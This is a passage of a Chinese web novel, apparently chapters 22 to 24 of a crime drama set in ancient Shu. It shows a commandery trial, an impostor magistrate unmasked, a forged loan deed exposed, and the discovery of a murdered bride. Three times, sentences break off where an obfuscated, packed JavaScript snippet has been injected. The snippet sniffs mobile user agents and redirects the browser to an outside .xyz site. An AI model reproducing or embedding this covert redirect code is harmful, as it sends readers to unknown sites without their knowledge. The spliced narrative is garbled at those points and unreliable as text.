翌日,晨雾将散未散,万物尚在沉睡,安谧宁静,匍匐卧在一团阴湿中。蜀地四时多雨,成都更有“西蜀漏天”之称,随风潜入夜,街巷便结了薄薄的绿,一路蔓延到台阶上。便是公廨檐下蹲的两只狻猊石兽,也披了层细密的青衣。 进门去,远远便见堂外围了一匝人,水泄不通。宝儿和十三开路,柳眉妩和何清如趁机挤到前面。偶有几声不满,见到十三散的碎银,也乐呵呵换上笑脸,自觉低了声音,唯恐打扰两人观审。 柳眉妩并非没见过宝儿堂审,只是大理寺如何,地殊俗异,蜀郡公廨却不见得也如何。加之昨日听房,听到胡安之对胡郡守的评价,心中更是好奇。 遥见堂上青砖暗淡,沁着经年血锈,于阴影处更显森森冷意。正堂悬一幅川主像,旁书“镇水安民,正法无私”八字,恰与“明镜高悬”的匾额同列。画中人白面无须,只眉间一点朱砂,被香火久熏发黑,显得怒目圆睁,任谁看一眼都觉脊背发寒。 透过绘着李公锁蛟的屏风,依稀可辨三道人影。正中那位抬手正了正獬豸冠,口呼“升堂”,手中惊堂木将将拍下,阶下的衙役已齐声呼喝“威——武——”。尾音拖长,混着川西坝子的土腔,如老鸦结群掠过锦江。 “这是什么意思?” “今日为何在屏风后升堂?” 人群中有人提出疑问,不等吵开,有妇在堂上抖开状纸。朱砂指印年久失泽,泛出深色褐斑,她的声音更显凄楚:“大人在上,民妇陈细妹,巴郡夔州人。今日跨郡诉冤,状告谯小爷,伪造借据,拒还田契,勾结官府,逼死亲夫。求青天大老爷明鉴!” 再拜陈情,声泪俱下,闻者无不动容。 谯小爷听了,却只冷笑一声,抬脚便踢在陈细妹背上,口中嗤道:“欠债还钱天经地义,贱人你还没完没了了!” 陈细妹登时被踢倒在地,叫声凄厉,半天爬不起来。谯小爷还要再踢,忽听耳边一道破风声响,肩胛一痛,低头便见一支黑头签钉入肉中。 “好!” 不知何人率先拍手,围观众人随之骚动,好似炸开了锅。 柳眉妩也有些惊讶,“可看不出,胡郡守平日里八风不动,笑弥勒一般,竟还有这般色厉神威的时候。” 何清如但笑不语,示意她看屏风后。轮廓隐约,依稀可见除了正中端坐,右旁还有一坐一站两道人影。 宝儿笑着解释:“君子精六艺,自然骑射皆通。娇娇儿,你可不要觉得胡郡守只是个手无缚鸡之力的文弱书生。” “不错。不说旁的,单看这般力度与速度,胡大人的白矢和剡注便差不了。” 柳眉妩闻声回望,看见一对素衣男女并肩而立,先前却没印象,应当是后面来的。 女子问道:“叶郎,什么是白矢和剡注?” “周礼有云,射分五类,白矢、参连、剡注、襄尺、井仪。白矢者,矢透箭靶,可见白镞,谓发矢准确而有力;剡注者,瞄时短促,一发即中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268976|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谓矢行之迅疾也。” 女子豁然道:“我听明白了,白矢是说射得准且狠,剡注则是说射得快。” 叶郎赞道:“芸娘聪慧。” 旁人听了这话,方明白胡郡守这一射有多精彩,当即不由自主地鼓起掌来,喝个不停。甚至还有高嚷着“再来一次”的,唯恐公堂不乱。 谯小爷忍痛拔下黑签,又听堂外掌声如雷,面上更是愤恨,咬牙道:“我乃江州谯氏子,你怎么敢!” “放肆!我管你是江州谯氏还是阆中谯氏,还当这是在巴郡么?就算你是巴郡的地头蛇,到了蜀郡公堂,也得给本府盘着!”胡郡守怒喝一声,再拍惊堂木,惊得案头朱笔唰唰滚落,“本府乃大新郡守,上承圣意,下顺民心,依法办案,有何不敢?” 谯小爷面色涨红,忍了又忍,到底还是忍下来了,“是,全凭大人做主。但大人莫听此贱人一面之词,欠债还钱本就天经地义,我有借据为证。” 胡郡守不接话,只缓缓抚须道:“借据呈上。” 衙役适时呈上借据,胡郡守低头瞥一眼,吩咐左右将陈细妹带下,抬手又拍惊堂木,语气不怒自威,“谯楚,你可知罪?” 谯楚挑眉,“不知。” “不知?”胡郡守冷笑一声,“你可认识郑秋?” “不认识。” “是真不认识,还是假不认识?” 惊堂木一拍,衙役再呼威武,水火棍一阵敲地,杂着不知从哪个犄角旮旯里传出的戏谑,“龟儿子莫要扯谎!” 谯楚扭头看向堂外,眸中狠光乍现。 衙役见他出神,上前推他一把,口中喝道:“干什么,大人问你话呢!” 他冷冷看一眼衙役,当面啐道:“狗东西!你有几双手,也配和小爷动手动脚!” 衙役正要发怒,胡郡守再拍惊堂木,“堂下谯楚,回话。” 谯楚倨傲仰头,神情不屑,“大人问什么?我只听到一群臭虫嗡嗡乱叫,没听清大人的话。” 衙役横眉怒道:“你说谁是臭虫!” “肃静!”胡郡守再拍惊堂木,示意底下分开两人,才继续问道,“堂下谯楚,本府问你,是否认识郑秋?” 谯楚瞥一眼被拦住的衙役,嗤笑一声,吊儿郎当地回话:“什么正秋反秋,不认识。” 胡郡守冷哼一声,“郑秋奸淫掳掠,杀人越货,作恶无数,数月前落网本郡,供出同伙名单,你的名字分明就在其中。白纸黑字,你还有何狡辩?” “诈我?你以为我会信?”谯楚不屑一笑,“小爷说一不二,说不认识就不认识。” 录事适时捧出乌木匣,打开问道:“堂下谯楚,你可敢对着李公的镇水神兽起誓?若有半句虚言,欺心昧理,便甘受堰崩水溺之灾!” “有何不敢?”谯楚爽快发了誓,隔着屏风似笑非笑,“大人,我说的可都是真话。” “是真是假,本府自有评断。来人,将人犯羁押带下。方郡丞,你着人速去江州,查封谯楚财物,仔细核对。”胡郡守说完,惊堂木重重砸下,震得签筒蹦出一红一黑两支签。 红签捉人,黑签用刑。 待衙役将签票捡出,谯楚眯起了眼,“就凭你,也配关小爷?” 话音刚落,转头撞开衙役,临空几步便翻身到了堂外。围观众人猝不及防,转眼就见谯楚站在自己身前,骇然爆出一阵喧哗。正混乱时,忽听一声哀嚎冲天,周遭人等慌忙退避,定睛再看,中间那人捂头扑地,身下已是一团血迹,嘴角还在汩汩流血。 “流……流血了!” “杀人了!死人了!” 22. 堂审(二) 众人七嘴八舌地尖叫,一时沸反盈天。 谯楚踩在两人肩上,歪头狠笑,“刚才还有谁骂了小爷?自己站出来。” 被他踩的两人双股战战,抖个不停,想要逃,却逃不掉,反将肩膀压得越来越低。一左一右,直往中间凹,渐渐呈现出一个怪异又稳定的姿势。 众人见状,哪里敢应,无不吓得脸色惨白。 鲁郡尉最先反应过来,带领一班衙役上前抓人。谯楚不慌不忙,临空一踢,竟将左脚踩的人直直踢飞,扑倒一片衙役。 叶郎紧急疏散百姓,何清如拉着柳眉妩和芸娘往后躲,宝儿和十三对视一眼,腰间佩剑出鞘,一左一右向谯楚夹击而去。 谯楚抬脚再踢一人,宝儿闪身避开,又快步过去接住那人。那人呆呆站着,瞳孔涣散,抖啊抖,竟吓得当场失禁。 那边十三也躲过一人,提剑又迎上去,鲁郡尉紧随其后。不等宝儿动作,堂外蓦地闪来两道身影,飞快刺向谯楚。 柳眉妩看清来人,急忙道:“竹姐姐小心!” 谯楚余光瞥见杨无名和竹悠然,顿时收了拳脚,不再与十三等人斡旋,转身逼近竹悠然。宝儿提剑上去,不等近身,忽见一根金簪破风而来,直直往谯楚太阳穴刺去。 说时迟那时快,谯楚紧急避开,连步退后,眼睁睁看着金簪擦过鬓发而去。宝儿箭步上前,一阵剑风扫去,簪子徐徐回转,落在手心,又小心收入怀中。 剩下四人隔空互换眼色,前后左右持剑以待,又同时出剑。宝儿点地弹墙而起,径往谯楚顶上刺去。三个回合不到,谯楚便被团团围住,反手拿下,再无还击之力。 鲁郡尉将谯楚反剪了双手,交给衙役看管。不知何处爆出一声喝彩,随即掌声响起,轰然如雷。 宝儿回到柳眉妩身边,用衣袖擦了擦簪子,才重新簪回柳眉妩髻上,口中笑道:“娇娇儿,物归原主。” “有没有受伤?” 柳眉妩上下打量着宝儿,又伸手捏了捏他的臂膀,见他笑着摇头,这才放下心来,继续看回公堂。 “大胆刁民,竟敢罔顾法纪,挑衅公堂,作乱伤人。”胡郡守厉声喝道,“来人,取天师杖,先打三十杀威棒!” 柳眉妩奇怪道:“天师杖是什么?杀威棒不都是用水火棍打吗?” 宝儿也摇头,“大新疏议有律,凡杖刑,用红黑棍,长五尺,圆一寸五分,不得私造异形。” 叶郎闻言,转头看向他们,“两位不是蜀郡人吧。” 柳眉妩不解地回看他,没说是,也没说不是。鼻翼轻翕,是熟悉的降真香掩着檀香,隐约还能闻见淡淡的桂香。 “别的郡县确实多用水火棍,蜀郡却不是。”叶郎也不在意,继续解释道,“天师杖,顾名思义,是由鹤鸣山的张天师所制,赠于蜀郡公廨作刑杖的。 “上刻雷文,‘触此杖者,五雷殛魂’,杀威吓贼;中是竹板,又泡桐油,故而柔韧如革,更易破皮见血;下浸牵机,虽不致命,遇伤却剧痛无比。如此一来,不出五杖,人犯必定皮开肉绽,见血中毒,轻则四肢拘挛,重则角弓反张,久之自然断肠毙命。” 柳眉妩叹道:“还真是一方水土,一方刑罚。” 叶郎看她一眼,但笑不语。 谯楚身子被制服,口中却还在扬声叫唤:“狗官敢尔!我乃江州谯氏子!我姐夫是巴郡郡守!你怎么敢!” 胡郡守冷笑一声,黑头签倏然落地。衙役眼疾手快,一得令,天师杖便飞快往谯楚臀间挥去,棍梢偏转,如蜻蜓点水。 柳眉妩当即眯起了眼。 再看宝儿,亦是神色微妙。 杖刑有法,一是见血不见伤,即通过快速抽打,致表皮破裂渗血,却不伤及筋骨;二是打纸不打肉,即表面看似轻打,实则暗劲透骨,内伤严重。 棍梢偏转,看似击臀,实则扫至腰眼,极易损伤肾脏,血崩毙命;蜻蜓点水,看似不痛不痒,力至肤而止,实则却是痛入骨髓。是以京中酷吏多用此法,有的甚至还能做到百杖无痕。稍有逊者,即便有痕,也不过数处青紫,外人又怎知内里早已脏烂如糜,骨碎如齑。 柳眉妩和宝儿对视一眼,又很快移开视线。 可是话又说回来。 像谯楚这等刁民,大闹公堂,无故伤人,遇着酷吏也是他的造化,怨不得旁人。眼不见为净便是了。 杖过五下,谯楚已然小了动静,面色渐青,唇色发紫,头上冷汗涔涔。围观众人面面相觑,一时噤声。 忽听门外一阵马蹄声响,有人由远及近地高喊“借道”,直到公堂外才停下。翻身下马,挤过人群便要上堂,却被衙役横棍拦住,“何人闯刑?” 那人不理衙役,径向堂上的胡郡守喊道:“胡公,巴郡王公有要事相商,特派卑职面呈送达,还请借一步说话。” 谯楚早已眼神迷离,恍惚听到什么,勉力转头向后看去。待看清来人,忙哭喊道:“马功曹救我!” 胡郡守端坐公堂,八风不动,口中道:“本府一向公私分明,不论何等要事,下堂再说。” 马功曹忙道:“不是私事,正是公事。” 胡郡守稳坐如钟,置若罔闻。 马功曹咬咬牙,只得当众求情道:“小公子自幼体弱,不禁风吹,还望胡公念及王公薄面,杖下留情。” 十杖已毕,谯楚面色惨白如纸,来不及呻吟一句,眼睛一翻,直接昏死过去。 堂外传出一阵哄笑。 柳眉妩也觉得好笑。只要见过谯楚方才拳脚如风、劲力如牛的凶残模样,都不会信什么“自幼体弱,不禁风吹”的鬼话。 胡郡守自然也不信。只是谯楚既已昏厥,多打无益,索性便让衙役放开马功曹,又呈上他的信。胡郡守看了半晌,语气很是为难,“马大人,并非本府不给王公面子,只是他们却不见得同意呢。” 马功曹一眼扫过,三吏七民鼻青脸肿,神色愤恨,敢怒不敢言,怎会不知发生了什么。于是又与十人借一步说话,几番商讨周转,威逼利诱,好在最终答应私了。 “让胡公见笑了。小公子生性驽钝,不解人情世故,若冲撞了胡公,还望多多海涵。今日公堂有何损毁,尽管罗列,谯家定照价赔偿,绝不多嘴。” “真是有钱能使鬼推磨。”胡郡守意味不明地笑了笑,“本府早就听闻江州谯家有钱,就是不知道来路清不清白。郑秋数月前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268977|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落网本郡,可是供出了谯楚的名字。” “断无可能!”马功曹信誓旦旦,“小公子虽说性情直率些,却绝非奸恶之人,断没有和郑秋那厮沆瀣一气的道理。” “是与不是,口说无凭。” “我这就传信回江州,着人送账册来,凭胡公勘断。”马功曹顿了顿,犹豫道,“只是……小公子既未定罪,胡公可否再卖个薄面,让卑职领回家去,好生休养。” 胡郡守似笑非笑,“公堂之上,断无私情,马大人焉不可知。” “卑职如何不知。只是小公子身虚体弱,又受杖刑,若羁押在狱,恐怕……”马功曹冷汗涔涔,硬着头皮继续道,“谯家人丁不兴,三代只此一根独苗,若小公子在狱中有个好歹,卑职回去不好向卓老夫人和谯夫人交代啊。” “谯楚犯事,与你何干,如何要你回去给她们交代?马大人,你堂堂功曹,究竟是巴郡之佐吏,还是谯家之管事?” 马功曹当即腿软,跪倒在地,犹自苦笑:“胡公莫要开卑职玩笑了。其中原委,分明你知我知。” “好一个你知我知!”胡郡守忽然起身,似笑非笑,“我也实在好奇,你们之间有什么不为人知的原委,不如就请胡大人来亲自解答吧。” 话音刚落,屏风轰然倒坍,众人惊得瞪大了眼,“怎么……有两个胡大人?” 一个端坐堂审,威风凛凛;一个侧立旁听,眉目沉沉。再一细看,分明两张脸又不一样。 “我怎么忘了!”柳眉妩最先反应过来,“几月不见,没想到阿大的口技竟这般炉火纯青了!惟妙惟肖,真假难辨,把我们都唬了过去。也难怪二哥哥藏着掖着,不肯提前泄露分毫。” 阿大取下獬豸冠,又撕了假胡子,快走几步下了堂,拎过一言不发的胡郡守,解了哑穴,反手又丢了出去。 胡郡守顺势在地上蛄蛹两下,缓了缓,终于能开口说话了,“白大人,你这是何意?” 东方凌云不作理睬,径自起身坐上正堂,展开信纸,竟是张银票,“天地钱庄,凭票取白银五千两。胡子长,人赃俱获,证据确凿,你还有何辩解?” 哑穴已解,定身依旧,胡郡守动弹不得,于是仰头冷笑一声,“那又如何?欠债还钱,天经地义。我乃一郡之首,你能奈我何!” 神色倨傲,像只死活不怕开水烫的长脖子鹅。 “是这样吗,马功曹?”东方凌云似笑非笑,“想好再答。” 到底是浸淫官场的老油条,马功曹很快反应过来,“回白公,没有的事。王公背靠谯家,又是郡守,从不缺金少银,没向胡公借过钱。今日的银票,不是还债,就是来打点关系的。” “马怀民!你个蠢货!王肩吾怎会有你这样的手下!”胡郡守破口大骂,眼珠滴溜溜乱转。 竹悠然见他眼色,明知故问:“胡大人,找什么呢?找你的手下吗?可惜了,方郡丞也不堪大用,区区几百人马,早已被我们降伏收押了。” 胡郡守不信,“我有一千私兵!个个精锐,骁勇善战!你们能有多少人,还想将我的私兵降伏收押,简直痴人说梦!” “确实不多,足足七人。” “?” 23. 堂审(三) 人赃俱获,冥顽不灵,胡郡守当即杖二十,削职停官,与一干人等关押在狱,只等再审。谯楚因证据不足,暂且羁押,要等账册来后再行审断。 吩咐毕,衙役将谯楚抬上担架,却见谯楚忽然四肢抽搐,翻身又滚了下来。衙役上前按人,不意按到什么,掏出一看,赫然是本账册。 东方凌云笑得意味深长,“无巧不成书,却成了账册。看来老天也开眼,想为谯公子早点洗刷冤屈。” 马功曹心中纳罕,只觉太巧了些,却也来不及多想,只是应话道:“借白公吉言。” 左右呈上账册,东方凌云默声翻了半晌,蓦地扔下账册,厉声喝道:“取盐水来,给本官泼醒装睡那厮!” 马功曹惊骇道:“白公这是何意?” 不等东方凌云说话,谯楚很快转醒,呲牙咧嘴地喊疼,口中也不停歇,“马功曹救我!” “大胆谯楚,私立伪契,诬诈良民,还不认罪!” “我没有!” “证据确凿,你还抵赖,何其可笑!” 谯楚愣了愣,“什么证据?” “你要装傻充愣,好,本官便一一说与你听。”东方凌云冷笑,缓缓道来,“先说用纸。巴蜀两地常用广都纸,共有四类,分别是假山南、假荣、冉村和竹丝。此四纸,虽都是楮皮所制,形色不同,用处也大不相同。假山南广幅无粉,是以多用于簿书;假荣狭幅有粉,才被用作契劵。我观你账册,广幅无粉,正是假山南纸。而这张借据,明明是契券,却也是假山南纸,岂不怪哉! “再看用词。赵大勇是去年三月十八日与你借钱抵田,可我往前往后再看,凡八百钱,账册上白纸黑字,分明都是写作‘八百缗’,只在九月后才写为‘八百贯’,而借据上却是‘捌百贯’。虽说本朝缗即是贯,杂混者多,可同一时候,却不该有如此区别,唯一的解释只能是,你这张借据写于去年九月之后。而陈细妹的状纸上说得明白,赵大勇已于去年八月二十日还清借债。综上种种,你这张借据,不是后来的伪契又是什么!” 马功曹默立,半晌无言,脑子有些转不过来。 谯楚的脑子这会儿倒是转得快,连声辩道:“我不知道!平日里又不是我记账!去问谯西!是他管账!” 马功曹反应过来,也道:“不错,卑职可以作证,小公子的私库账册一直都是谯西在管。不成想这恶奴竟欺上瞒下,歹心害主,还请白公明察!” 东方凌云沉吟不语,半晌才道:“叫陈细妹来。” 衙役很快将陈细妹带来。东方凌云向她解释了来龙去脉,才当堂朗声断道:“既是伪契,便无效力,故本官特判谯楚归还田契,赔偿罚金,收监入狱。至于逼死赵大勇一案,待捉拿谯西归案后再审。谯楚,陈细妹,你二人可有异议?” 陈细妹含泪道:“民妇没有异议。” 谯楚转头看马功曹,见马功曹向他摇头,只好应道:“我也没异议。” 东方凌云再拍惊堂木,丢出红签,“来人,去江州将谯西捉来。” “不劳白公兴师动众。我这就回去禀告王公,定然全力协助捉人,将谯西绑押来。活会见人,死……会见尸。” * “娇娇儿,你怎么看?” 初阳映在何清如脸上,光影明灭,随风移动。她转头看向柳眉妩,眉目含水,如蕴春愁。 柳眉妩叹息一声,“谯西必死。” 芸娘听了这话,瞪大了眼,半是惊讶半是不解地问:“姑娘此话怎讲?” “蒋姐姐,你别看谯楚草包一个,他身后却是整个江州谯氏,别说在江州,便是在巴郡也算得上数一数二的郡望了。而这些地方望族,最是好面托大,自矜自傲,断不会允许族中传出丑闻,空惹旁人笑话。 “所以,一是为保谯氏家门清白,二来也怕谯西言行无状,不管此人是否贪财作伪,欺主害人,都难逃其咎。便是无罪,也只能有罪——”柳眉妩缓缓道来,“替谯楚顶罪。” 柳眉妩说完,招手叫来十三,耳语几句。十三点头应下,转身去了。 蒋芸娘似懂非懂,忽然反应过来,惊讶问道:“姑娘怎知我姓蒋?” 柳眉妩和何清如对视一眼,才笑着回道:“昨日我们去云罗坊,看到蒋姐姐的喜服,夏姬告诉我们,蒋姐姐和叶大人好事将近。” 叶郎也奇道:“姑娘还认得我?” “也是机缘巧合,在万佛寺有幸吃过叶大人送的鹅毛雪片。”柳眉妩忽然起了兴头,促狭笑道,“口味不错,玄侄孙儿。” 叶九思愣了愣,很快反应过来,也不拘谨,笑着应道:“原来是太姑奶奶,失礼失敬。只是,却不知太姑奶奶是怎么认出我的?” 他越淡然,柳眉妩听着悬殊辈分,就越赧然,哽了一息,才尴尬道:“夭寿了,叶大人还是正经称呼我吧。” 叶九思点头应道:“也好,叶小姐。” “上月清明时,大表哥说,你丁忧在家,下个月才守孝期满;而夏姬也说,蒋姐姐的未婚夫叶大人本月十八起复原职。今日见到你和蒋姐姐,衣冠皆素,正在丧中,可不赶巧得紧。 “此外,蒋姐姐虽惯用芸香熏衣,身上却又弥散着降真香和檀香,叶大人亦如是。想来应是守丧日长,经年累月焚清心香所致。” 清心香的味道,柳眉妩实在熟悉。爹爹生前最爱此香,故而书房客厅焚烧不断,遇害后,娘亲又废寻常香火,换成清心香,日夜守丧,日夜焚香。 蒋芸娘了然,转头看一眼叶九思,面上泛出微微羞涩。 柳眉妩忍了又忍,还是忍不住提醒道:“蒋姐姐知道新娘枯尸案吗?如今凶案未破,你们却急于成婚,可不安全。” 蒋芸娘神色忧郁,垂眼回话:“我又何尝不知。只是叶郎丁忧即将结束,不日便要起复原职,若是再不成婚,我不好跟去广陵。” “不成婚又如何?凡事种种,当以你的安危为先,你完全可以跟着叶大人去了广陵,再行大礼。”柳眉妩说完,习惯性转头寻附和,“宝儿你说,是也不是?” 宝儿眨眨眼,正要回话,何清如忽然拉住她的衣袖,轻轻摇了摇头。 柳眉妩微顿,倏然便明白了。 聘则为妻,奔是妾。 一个名分,便让蒋芸娘豁出命去。 可她也知道,若没这等名分,蒋芸娘即便跟了叶九思去广陵,人生地不熟,富贵迷人眼,也难保情郎不会变心。到那时,红颜易老,秋扇见弃,更是有苦难言,也更难堵悠悠众口。 她无声叹息,垂下眼,识趣不再追问。 中场休息很快结束,堂审继续。 一案既断,其后更是断案如神。小到偷鸡摸狗,大到作奸犯科,东方凌云手段雷霆,恩威并济,唬得堂下犯人接连认罪,众人看得大快人心,无不拍手称快。 * 晚间饭毕,东方凌云还没回来,向何清如简单打过招呼,柳眉妩和宝儿携手行到后院,坐在葡萄架下闲话消食。 “宝儿,今天的问题,你会怎么回答?”柳眉妩双手交叠,趴在石桌上,下巴抵着臂弯,眨巴着眼看他。 “我觉得这不是问题。”宝儿学着她的姿势,歪头凑近她,脸颊贴着脸颊,呼吸可闻,“娇娇儿去哪里,我就去哪里;娇娇儿做什么,我就做什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268978|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 柳眉妩失笑,“你没有自己的想法吗?” “没有,也不需要。”宝儿定定看她,语气似有幽怨,“反正娇娇儿总是这样,什么事都不会和我商量,想做什么,便自己去做。” 柳眉妩知道他在说什么,却装出不知道的样子,无辜道:“我又不是故意只瞒你一个人,其他人我也没告诉啊,都一样的。” “所以,在娇娇儿心里,我和其他人是一样的吗?” “当然不是了。”柳眉妩下意识反驳,反驳完才想出解释,“你当然和其他人不一样。可是,每个人都是不一样的嘛。” 宝儿“哼”一声,鼻子皱成一团,朝她扮鬼脸道:“你倒是会说,谁也不得罪。” 柳眉妩吐了吐舌头,伸手揉开他的脸。 此后一连几日,无事发生。等再见到十三,谯西已经死了。 十三垂头丧气地解释:“是我晚了一步。我知道他要下火井视察,本想等他上来再问话,没成想阴气泄漏,谯西撤退不当,还在井里便中毒身亡了。” 小九摇头叹道:“可惜了,人算不如天算,谯西这厮也忒倒霉了些。” 柳眉妩却道:“虽然不想承认,但这次确实是我们没算过他们。技不如人,甘拜下风。” 话虽如此,柳眉妩神色肃穆,眉眼凌厉,怎么看也看不出有“甘拜下风”之感,反倒读出几分咬牙切齿的恼怒之意。 小九愣了愣,很快反应过来,惊讶道:“四公主的意思是,谯西之死,不是天意,而是人为。” 小八耸耸肩,“九儿,这很难理解吗?” 小六又道:“好在老天开眼,谯楚还是羁押狱中,不得释放,只等秋后便可问斩。” “说到谯楚,”柳眉妩好奇问道:“十三,所以你是怎么劝动谯丁指控谯楚的?要知道,谯楚虽是幕后指使,可真正动手打人的却是他自己。他来指控谯楚,不异于自投罗网。” 十三挠了挠头,有些不好意思,“我知道是他动手打人后,就把他揍晕扛上了马,白天不让他醒,醒了继续揍晕,晚上不让他睡,睡了就再喊醒。闲来无事,又装作赵大勇的鬼魂,喊苦喊冤地吓了他几回,磋磨几次,没想到他这么快就供认不讳了。” 柳眉妩噎住,“十三,你这不是逼供诈供吗?” 宝儿却笑了,“娇娇儿,此言差矣。不管黑猫白猫,抓到耗子就是好猫,十三深得王爷真传矣。” “宝儿少卿,你也是这么认为的?” 宝儿挠了挠头,“法无定法,师父确实是这么教的。非常人行非常事,非常事用非常法,非常法治非常人。” 柳眉妩摇头,似叹非叹:“不愧是老滑头的徒弟,早晚要变成小滑头。” 大理寺卿狄长春,顶着“老滑头”的名号,长安城中谁人不知谁人不晓?断案如神,却从不走寻常路,连大哥哥也屡屡评价他是“大智若妖”。 宝儿不以为然地笑笑,朝她皱了皱鼻子。 至此,陈细妹和谯楚的案子总算告一段落。四月二十将近,众人的心思便专注放到蒋芸娘和叶九思的婚事上,仔细部署,周密安排。 转眼便是大婚当日,柳眉妩一行送了礼,又亲自去赴宴吃席。心中虽有忧虑,但因高朋满座,良辰吉时,喜乐自不必说。直等到月上中天,宾客四散,闹完洞房才回御史府歇息。 姐妹俩同床共枕,说说体己话,聊聊新案情,昏昏欲睡不知什么时辰,忽听门外一阵杂沓脚步声响起。 柳眉妩披衣下榻,开门便见小八气喘吁吁,她的声音穿过黎明破晓前的第一抹曙光,语气焦灼,“不好了,蒋夫人不见了!” 24. 验骨 柳眉妩当即皱眉,不可思议道:“里里外外戒备森严,连只苍蝇都飞不出,好好的人怎么会说不见就不见了呢?” “不知道怎么回事,我们都被迷晕了,再醒过来,蒋夫人就不见了。” “叶大人呢?他怎么说?” “叶大人不在新房,睡在书房,还是我们的人把他叫醒,他才知道蒋夫人不见了。这会儿,已经和着七哥九弟他们去找人了。” 何清如打着呵欠,站在柳眉妩身侧,睡眼惺忪地询问:“新婚燕尔,叶大人不睡新房,却睡书房,可有问过什么原因?” “我们问了,但叶大人只说是他们夫妻间的闺房私事,不愿细讲。我们也就不好再继续追问。” 何清如点点头,也没继续追问,而是转移话题道:“蒋夫人失踪多久了?” “算起来,我们差不多晕了一个时辰,蒋夫人应该也是这个时间失踪的。” “一个时辰,怕是早已凶多吉少了。”柳眉妩忍不住摇头,“小八,再去南山林搜搜看吧。” “爷也是这么吩咐的。” 挥手送走小八,柳眉妩和何清如面面相觑,哪里还睡得着,干脆披衣出了寝房等消息。转到前厅,灯火通明,进门去,远远便见东方凌云端坐高堂,兀自出神。 “二哥哥,怎么一个人坐在这里?”柳眉妩走近叫人,低头瞥见案上茶盏没有热气,探手一摸杯壁,冰凉沁骨,不知冷了多久了。 当即了然。 “所以,不止一个时辰了,对吗?” 东方凌云恍然回神,伸手端过凉茶,鼻间一闻,又放下了,似叹非叹道:“找都快找一个时辰了,可惜半点音信也无。” 何清如沏来热茶,给东方凌云倒了一杯,又给柳眉妩倒一杯,宽慰道:“晨间露重,小心受凉,二哥,娇娇儿,喝杯热茶暖身子吧。” 三人沉默对饮,约莫一盏茶工夫,忽见小九火急火燎地跑来,还在门外便高声喊道:“找到了!” 东方凌云放下茶盏,眉目平静,“去请薛大夫来。” 小九连连点头,不等平息,喘着粗气便应声道:“宗世子已经让十三去请了。” 柳眉妩欣喜道:“可是还有得救?” 东方凌云摸了摸她的头,没有解释,神色凝重地走了。柳眉妩不解其意,和何清如上马跟去,远远便见南山林中灰蒙蒙一片。 将将日出,晨雾来不及散,淡青色的天上挂着几点疏星,一闪一闪地眨着眼。天也蒙蒙,雾也蒙蒙,人也蒙蒙。 走近去看,尚且来不及辨人,入目便是熟悉的八个大字——阎君有请,王不留行。远观其形,行草疏狂;近看其色,血色浓稠;辨其何为,又是红漆所为。 “果然是王不留行。”柳眉妩沉声断言。 “灵儿,你来了。”竹悠然从人群中走出,笑着牵过她的手,眸色明亮,眼底却有淡淡的青。 “竹姐姐,二表哥,你们没睡好吗?” 杨无名点头道:“睡了一个时辰。” 雾色蒙蒙,云色青青,他逆光而立,眉眼如雾如云,萦着倦意。 柳眉妩伸手往荷包里一掏,掏出两颗香雪润津丹,递给竹悠然和杨无名。左右张望,又寻到宝儿所在,捻着丹丸便往宝儿嘴里送,口里问着:“什么时候出来的?” “卯时不到。” 宝儿噙了丹丸,清凉入口,呛得鼻子皱成一团,歪头蹭了蹭柳眉妩的脑袋。柳眉妩伸手摸了两把,就见十三带着薛大夫和决明快步行来。 林中苍术皂角烧得旺,阿大离得近,禁不住咳了两声,扇着鼻子走远了些,才得空向她解释:“公廨的宋仵作丁母忧,请假回乡去了。蒋夫人遇害,我们一时半会儿找不到新仵作,宗世子就让十三去回春堂请薛大夫来。” 宝儿道:“我也是听十三偶然提起,知道薛大夫医仵双绝,平素又热心,愿意帮忙,便是再合适不过的人选了。” 柳眉妩点头了然,余光瞥见叶九思呆立当场。两眼发直,形容憔悴,瞳孔中血丝密布,仿佛一夜间衰老了十余岁。 她叹息着收回视线,薛大夫已掀开了覆尸白布,她便也蹲身去看,第一次近距离见到传闻中的新娘枯尸。面如鸡皮,手如枯木,灰败得仿佛能被一阵风吹走。 薛大夫转头朝决明示意,见决明拿出早已备好的纸笔,才开始喝报:“死者女,年十八,身长四尺九寸。口张眼开,头髻整齐,双手微握,颈上有痕。痕起喉下,深至项,锁骨损,长两寸,阔一分,深三分,两头尖小,无起手收手轻重,暂排除自刎可能。应是被人用尖刃大刀所刺,色乌青,肉齐截,状枯藤。” 小九肯定道:“枯藤刀痕,抽血而亡,肯定是王不留行的鬼见愁所为。” 